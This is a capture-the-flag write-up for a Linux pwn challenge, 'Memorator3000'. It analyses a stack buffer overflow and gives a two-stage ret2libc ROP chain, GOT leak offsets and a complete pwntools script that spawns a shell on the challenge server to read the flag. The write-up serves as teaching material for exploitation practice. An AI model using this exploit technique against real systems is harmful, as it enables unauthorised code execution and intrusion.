Memorator3000
Memorator3000
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: got_leak, ret2libc, stack_alignment, two_stage_rop
Summary
Task: a 64-bit menu-driven ELF exposes both a format string and a stack overflow, with save_password() reading 0x100 bytes into a 0x80-byte stack buffer. Solution: use the overflow in option 2 for a two-stage ret2libc attack, first leaking puts from the GOT and then calling system("/bin/sh") to read /flag.
Memorator3000 — hackerlab
Description
Original organizer description was not preserved in the local task files.
Memorator3000 is a 64-bit Linux binary with a simple looped menu:
- Leak info
- Save password
- Exit
The remote service was available at 62.173.140.174:27940. The goal was to exploit the binary, get a shell, and read the flag from /flag.
Analysis
Binary summary
- ELF64, dynamically linked, not stripped
- Partial RELRO
- No canary
- NX enabled
- No PIE (
0x400000base) - SHSTK enabled
- IBT enabled
- Provided libc:
libc.so.6
These mitigations strongly suggest a ret2libc solution:
- NX blocks direct shellcode on the stack
- No PIE means the binary text base and ROP gadgets are fixed
- No canary means the stack overflow can reach the saved return address cleanly
- Partial RELRO leaves the GOT readable, which makes leaking libc straightforward
Although the binary also contains a format string in leak_info(), the cleanest path is the classic stack overflow in menu option 2.
Vulnerability
The bug is in save_password() at 0x401236.
Relevant layout:
- local stack buffer:
0x80bytes at[rbp-0x80] - vulnerable read:
read(0, buf, 0x100)
So the function reads up to 0x100 bytes into a buffer that only holds 0x80 bytes.
That gives a textbook stack buffer overflow:
c read-only • copy allowedchar buf[0x80]; read(0, buf, 0x100);
The saved return address is reached after:
0x80bytes to fill the buffer0x8bytes to overwrite saved RBP
So the exact offset to RIP is:
text read-only • copy allowed0x80 + 0x8 = 0x88 = 136 bytes
Useful symbols and gadgets
pop rdi; ret = 0x4011beret = 0x4011c0puts@plt = 0x401084puts@got = 0x404018main = 0x4012c5
Bundled libc offsets:
puts = 0x80e50system = 0x50d70"/bin/sh" = 0x1d8678
Why the format string was unnecessary
leak_info() contains the classic pattern:
c read-only • copy allowedscanf("%s", buf); printf(buf);
That is exploitable, but it is more awkward than necessary here. Because option 2 already gives direct RIP control at a stable offset in a non-PIE binary, a two-stage ret2libc chain is simpler and more reliable.
Solution
Exploit plan
The exploit uses two-stage ret2libc.
Stage 1: leak puts from libc
Build a ROP chain that calls:
c read-only • copy allowedputs(puts@got)
and then returns back to main so the program menu can be used again.
ROP layout:
text read-only • copy allowedpadding(136) pop rdi; ret puts@got puts@plt main
Once the leaked address is received, compute:
text read-only • copy allowedlibc_base = leaked_puts - 0x80e50
Example remote values:
- leaked
puts = 0x7f2355316e50 libc base = 0x7f2355296000
Stage 2: call system("/bin/sh")
With the libc base known, build the final chain:
text read-only • copy allowedpadding(136) ret # stack alignment pop rdi; ret binsh system
The extra ret is used for stack alignment before calling system, which avoids crashes caused by stack alignment requirements in amd64 libc.
After spawning a shell, run:
bash read-only • copy allowedcat /flag
This returned:
text read-only • copy allowedCODEBY{REDACTED}
Interaction detail that matters
The menu uses scanf, while the vulnerable path uses read. In practice, using:
sendlineafter()for menu choicessendafter()for the password prompt
avoids newline desynchronization and leftover input problems. That detail is important for making the exploit stable both locally and remotely.
Local validation
The exploit was tested locally first inside a Docker environment matching linux/amd64 Ubuntu 22.04 with the provided binary and libc. The same exploit then worked against the remote service without changes other than the connection target.
Working exploit script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "62.173.140.174" PORT = 27940 context.binary = elf = ELF("./memorator3000", checksec=False) context.arch = "amd64" libc = ELF("./libc.so.6", checksec=False) OFFSET = 136 POP_RDI = 0x4011BE RET = 0x4011C0 PUTS_PLT = 0x401084 PUTS_GOT = 0x404018 MAIN = 0x4012C5 def start(): if args.REMOTE: return remote(HOST, PORT) return process([elf.path]) def choose(io, choice): io.sendlineafter(b"> ", str(choice).encode()) def save_password(io, data): choose(io, 2) io.sendafter(b"password: ", data) def stage1(io): payload = flat( b"A" * OFFSET, POP_RDI, PUTS_GOT, PUTS_PLT, MAIN, ) save_password(io, payload) leak = io.recvuntil(b"1. Leak info", drop=True) leaked_puts = u64(leak.split(b"\n")[-1].strip().ljust(8, b"\x00")) log.info(f"puts leak = {hex(leaked_puts)}") libc.address = leaked_puts - 0x80E50 log.info(f"libc base = {hex(libc.address)}") def stage2(io): system = libc.address + 0x50D70 binsh = libc.address + 0x1D8678 payload = flat( b"A" * OFFSET, RET, POP_RDI, binsh, system, ) save_password(io, payload) def main(): io = start() stage1(io) stage2(io) io.sendline(b"cat /flag") io.interactive() if __name__ == "__main__": main()